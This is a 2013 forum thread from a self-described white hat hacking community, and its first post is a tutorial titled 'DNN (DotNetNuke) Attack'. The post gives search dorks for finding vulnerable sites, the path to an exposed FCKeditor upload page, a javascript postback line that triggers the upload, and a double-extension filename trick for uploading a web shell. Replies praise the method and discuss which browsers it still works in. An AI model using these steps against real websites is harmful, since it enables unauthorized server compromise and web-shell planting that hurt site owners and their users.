HomeclosedFAQRegisterLog in

Share | 
 

 DNN (DotNetNuke) Attack

Go down 
AuthorMessage
xL337
VIP
VIP
avatar

Posts : 19
White Hat Points : 43
White Hat Reputation : 6
Join date : 2013-08-27

PostSubject: DNN (DotNetNuke) Attack   Tue Aug 27, 2013 3:54 pm

Dorks you can use for searching vulnerable websites :
Code:
inurl:fcklinkgallery.aspx
inurl:/portals/0/
When you find website like this :
Code:
http://www.victimsite.com/portals/0/pres/‎
Replace everything after the domain "/" domain with :
Code:
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Then you will see like this :
Code:
http://www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Hit enter and you will get something like this :

[You must be registered and logged in to see this image.]

Now select upload from file and paste this into your address bar :
Code:
javascript:__doPostBack('ctlURL$cmdUpload','')
Select file to upload. It must be video, text image or similar unless admin disabled something.

If you want to upload shell which is one of the very good choice and rename it to :

Code:
anythingyoulike.asp;.txt
Now upload it and go to folder where you uploaded it.
Back to top Go down
WizkiD
WhiteHat Senior MOD
WhiteHat Senior MOD
avatar

Posts : 45
White Hat Points : 121
White Hat Reputation : 2
Join date : 2013-07-30

PostSubject: Re: DNN (DotNetNuke) Attack   Tue Aug 27, 2013 4:17 pm

I think DNN is not working anymore in latest browser. By the way thanks for sharing. Smile ill try this and feedback soon. Smile

+Rep

_________________
[You must be registered and logged in to see this image.]
"Follow your Curiosity"
Back to top Go down
xL337
VIP
VIP
avatar

Posts : 19
White Hat Points : 43
White Hat Reputation : 6
Join date : 2013-08-27

PostSubject: Re: DNN (DotNetNuke) Attack   Tue Aug 27, 2013 4:27 pm

ye working in old browsers Very Happy lets see if still working in other members here.
Back to top Go down
V1P3R
WhiteHat Support
WhiteHat Support
avatar

Posts : 76
White Hat Points : 202
White Hat Reputation : 10
Join date : 2013-07-30

PostSubject: Re: DNN (DotNetNuke) Attack   Tue Aug 27, 2013 4:36 pm

Nice tuts. Thanks for sharing.

_________________
Mess with the Best, Die like the Rest
Back to top Go down
Sponsored content




PostSubject: Re: DNN (DotNetNuke) Attack   

Back to top Go down
 
DNN (DotNetNuke) Attack
Back to top 
Page 1 of 1

Permissions in this forum:You cannot reply to topics in this forum
Home of Ethical White Hat Hackers :: White Hat Hackers Community :: Hacking & Security Tutorials-
Jump to: